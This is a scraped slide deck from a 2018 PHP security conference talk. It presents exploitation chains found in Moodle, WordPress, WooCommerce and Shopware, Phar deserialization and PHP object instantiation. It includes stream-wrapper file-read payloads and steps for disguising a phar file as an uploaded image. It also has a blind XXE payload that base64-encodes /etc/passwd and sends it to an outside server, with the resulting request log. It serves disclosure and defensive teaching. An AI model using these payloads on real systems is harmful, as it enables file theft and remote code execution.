New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 - - PowerPoint PPT Presentation

new php exploitation techniques
SMART_READER_LITE
LIVE PREVIEW

New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 - - PowerPoint PPT Presentation

New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018 Intro Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @


slide-1
SLIDE 1

New PHP Exploitation Techniques

Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018

slide-2
SLIDE 2

Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016) Co-Founder RIPS Technologies GmbH (since 2016) @FluxReiners blog.ripstech.com

Intro

slide-3
SLIDE 3

What I love

Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE

slide-4
SLIDE 4

What I love

Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE

slide-5
SLIDE 5

Moodle < 3.5.0 Code Injection

https://blog.ripstech.com/2018/moodle-remote-code-execution/

slide-6
SLIDE 6

Code Injection

public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); // $str = exec($_GET[0]); return $str; } function find_formula_errors($formula) { while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }

slide-7
SLIDE 7

Code Injection

public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); return $str; } function find_formula_errors($formula) { while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }

slide-8
SLIDE 8

Code Injection

slide-9
SLIDE 9

WordPress <= 4.9.6 File Delete to RCE

https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

slide-10
SLIDE 10

Video: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

slide-11
SLIDE 11

WordPress Author role required, but:

  • Privilege escalation for multi-user sites (e.g. multiple journalists)
  • New bug announced soon that allows privilege escalation from unauthenticated users

Comments on Requirements

slide-12
SLIDE 12

WooCommerce <= 3.4.5 File Delete Privilege Escalation

https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/

slide-13
SLIDE 13

WooCommerce Privileges:

  • A shop manager user gets the edit_users WordPress privilege upon plugin installation
  • This privilege is permanently stored in the database
  • This privilege allows to edit all users, including administrators
  • To restrict this, WooCommerce adds a WordPress filter disallow_editing_of_admins

The Design Flaw:

  • If the WooCommerce plugin gets disabled, the edit_users privilege still persists
  • But the disallow_editing_of_admins filter of the plugin does not trigger anymore
  • Usually, only administrators can disable plugins …

WordPress Design Flaw

slide-14
SLIDE 14

File Delete Vulnerability

slide-15
SLIDE 15

Video: https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/

slide-16
SLIDE 16

Phar:// Deserialization

https://blog.ripstech.com/2018/new-php-exploitation-technique/

slide-17
SLIDE 17

URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php:// Often used for PHP file inclusion: include($_GET["filename"]); What about other wrappers, like phar:// ? Credits: Sam Thomas from Secarma

PHP Stream Wrappers

?filename=php://filter/convert.base64-encode/resource=index.php ?filename=data://text/plain;base64,cGhwaW5mbygpCg==

slide-18
SLIDE 18

PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!

Phar Files

slide-19
SLIDE 19

PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!

Phar Files

// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();

slide-20
SLIDE 20

PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!

Phar Files

// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();

slide-21
SLIDE 21

Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection

Phar:// Deserialization

class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar

slide-22
SLIDE 22

Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists

Phar:// Deserialization

class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar

slide-23
SLIDE 23

Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists

Phar:// Deserialization

class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar

1. Inject serialized object into a phar file 2. Obfuscate phar file as avatar.jpg 3. Upload avatar.jpg to application 4. Exploit phar deserialization: index.php?filename=phar://../uploads/avatar.jpg

slide-24
SLIDE 24

Any File Operation

include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', '');

slide-25
SLIDE 25

Any File Operation

include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', ''); file_exists('phar://test.phar'); is_executable('phar://test.phar'); is_file('phar://test.phar'); is_dir('phar://test.phar'); is_link('phar://test.phar'); is_writable('phar://test.phar‘); fileperms('phar://test.phar'); fileinode('phar://test.phar'); filesize('phar://test.phar'); fileowner('phar://test.phar'); filegroup('phar://test.phar'); fileatime('phar://test.phar'); filemtime('phar://test.phar'); filectime('phar://test.phar'); filetype('phar://test.phar'); getimagesize('phar://test.phar'); exif_read_data('phar://test.phar'); stat('phar://test.phar'); lstat('phar://test.phar'); touch('phar://test.phar‘); md5_file('phar://test.phar');

slide-26
SLIDE 26

Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE

https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

slide-27
SLIDE 27

PHP Object Instantiation != PHP Object Injection

PHP Object Instantiation

class Shopware_Controllers_Backend_ProductStream { public function loadPreviewAction() { $sorting = $this->Request()->getParam('sort'); $streamRepo->unserialize($sorting); } }

slide-28
SLIDE 28

An attacker can instantiate PHP objects of arbitrary classes

PHP Object Instantiation

class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }

slide-29
SLIDE 29

An attacker can instantiate PHP objects of arbitrary classes Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base?

PHP Object Instantiation

class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }

slide-30
SLIDE 30

Instantiate object of a PHP built-in class

PHP Built-in Class SimpleXMLElement

SimpleXMLElement::__construct ( $data = "https://ripstech.com/xxe.xml", $options = LIBXML_NOENT, // enable substitution of entities $data_is_url = true )

slide-31
SLIDE 31

https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd

Blind XXE

<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">

slide-32
SLIDE 32

https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd

Blind XXE

<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">

1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.xml HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /?cm9vdDp4mF....== HTTP/1.0" 200 -

slide-33
SLIDE 33

https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd

Code Execution

<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">

slide-34
SLIDE 34

https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd

Code Execution

<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">

XSS → POI → XMLi → XXE → PHAR → POI → POP → RCE

slide-35
SLIDE 35
  • Remote Command Execution everywhere!
  • New PHP exploit techniques
  • File Delete Exploitation, unlink()
  • Phar Deserialization, file*()
  • PHP Object Instantiation, ReflectionClass()
  • Sanitize/Validate user input as strict as possible
  • Enjoy the awesome conference!

Summary

slide-36
SLIDE 36

Questions?

jdahse@ripstech.com More security bugs in our upcoming advent calendar 2018 www.ripstech.com